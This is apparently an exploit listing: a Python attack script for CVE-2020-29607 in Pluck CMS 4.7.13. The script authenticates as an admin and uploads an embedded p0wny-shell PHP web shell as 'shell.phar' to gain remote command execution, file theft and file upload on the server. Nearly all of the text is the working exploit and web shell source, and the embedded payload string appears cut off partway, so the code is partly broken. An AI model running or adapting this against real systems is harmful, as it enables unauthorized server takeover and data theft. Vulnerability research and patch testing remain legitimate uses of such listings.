Share
## https://sploitus.com/exploit?id=PACKETSTORM:162785
# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)  
# Date: 25.05.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: https://github.com/pluck-cms/pluck  
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13  
# Version: 4.7.13  
# Tested on Xubuntu 20.04  
# CVE: CVE-2020-29607  
  
'''  
Description:  
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin  
privileged user to gain access in the host through the "manage files" functionality,  
which may result in remote code execution.  
'''  
  
  
'''  
Import required modules:  
'''  
import sys  
import requests  
import json  
import time  
import urllib.parse  
  
  
'''  
User Input:  
'''  
target_ip = sys.argv[1]  
target_port = sys.argv[2]  
password = sys.argv[3]  
pluckcmspath = sys.argv[4]  
  
  
'''  
Get cookie  
'''  
session = requests.Session()  
link = 'http://' + target_ip + ':' + target_port + pluckcmspath  
response = session.get(link)  
cookies_session = session.cookies.get_dict()  
cookie = json.dumps(cookies_session)  
cookie = cookie.replace('"}','')  
cookie = cookie.replace('{"', '')  
cookie = cookie.replace('"', '')  
cookie = cookie.replace(" ", '')  
cookie = cookie.replace(":", '=')  
  
  
'''  
Authentication:  
'''  
# Compute Content-Length:  
base_content_len = 27  
password_encoded = urllib.parse.quote(password, safe='')  
password_encoded_len = len(password_encoded.encode('utf-8'))  
content_len = base_content_len + password_encoded_len  
  
# Construct Header:  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Content-Length': str(content_len),  
'Origin': 'http://' + target_ip,  
'Connection': 'close',  
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',  
'Cookie': cookie,  
'Upgrade-Insecure-Requests': '1'  
}  
  
# Construct Data:  
body = {  
'cont1': password,  
'bogus': '',  
'submit': 'Log in',  
}  
  
# Authenticating:  
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'  
auth = requests.post(link_auth, headers=header, data=body)  
print('')  
if 'error' in auth.text:  
print('Password incorrect, please try again:')  
exit()  
else:  
print('Authentification was succesfull, uploading webshell')  
print('')  
  
  
'''  
Upload Webshell:  
'''  
# Construct Header:  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',  
'Connection': 'close',  
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',  
'Cookie': cookie,  
'Upgrade-Insecure-Requests': '1'  
}  
  
# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell  
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display:  
  
# Uploading Webshell:  
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'  
upload = requests.post(link_upload, headers=header, data=data)  
  
  
'''  
Finish:  
'''  
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')  
print('')